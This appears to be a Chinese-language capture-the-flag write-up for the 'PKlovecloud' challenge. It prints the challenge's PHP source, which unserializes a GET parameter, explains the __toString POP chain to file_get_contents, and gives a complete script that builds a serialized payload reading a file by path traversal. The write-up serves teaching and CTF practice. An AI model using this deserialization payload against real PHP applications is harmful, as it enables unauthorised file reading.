第五空间PKlovecloud题解
<?php
include 'flag.php';
class pkshow
{
function echo_name()
{
return "Pk very safe^.^";
}
}
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new pkshow;
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}
class ace
{
public $filename;
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}
if (isset($_GET['pks']))
{
$logData = unserialize($_GET['pks']);
echo $logData;
}
else
{
highlight_file(__file__);
}
?>
一眼丁真反序列化打开代码编辑器,我们需要构造pop链,来连接入口和出口
,题目中我们需要拿flag,可以看到危险函数file_get_contents(),我们可以进行文件读取,
我们来研究一下如何读取
_tostring()当对象被当成字符串输出时被触发
_contrust()当实例化一个对象时会触发,
这里就上面两个魔术方法我们看下这段代码
$logData = unserialize($_GET['pks']);
echo $logData;
}
输出一个$logData
,当我们传入一个对象时就会触发_tostring(),所以我们一开始传入acp(),可以看到危险函数file_get_content()
在函数echo_name里,而_tostring里刚好有这个函数,所以我们给$cinder
里传入ace(),传ace有几种方法,在PHP7中对于反序列化不再区分属性的类型,我们可以直接修改攻击代码中的属性的类型,不过这里我选择在类里写一个函数,,我们继续看当我们到达echo_name函数时,
$this->openstack = unserialize($this->docker);
会给$this->openstack传入一个反序列化后的值,这里我直接选择什么都不穿另docker等于NULL,直接规避后面的检测,拿flag
PHP攻击代码
<?php
class acp
{
protected $cinder;
public $neutron;
public $nova;
function settt($c){
$this->cinder=$c;
}
}
class ace
{
public $filename='../../../nssctf';
public $openstack;
public $docker='';
}
$a=new acp();
$c=new ace();
$a->settt($c);
echo urlencode(serialize($a));
?>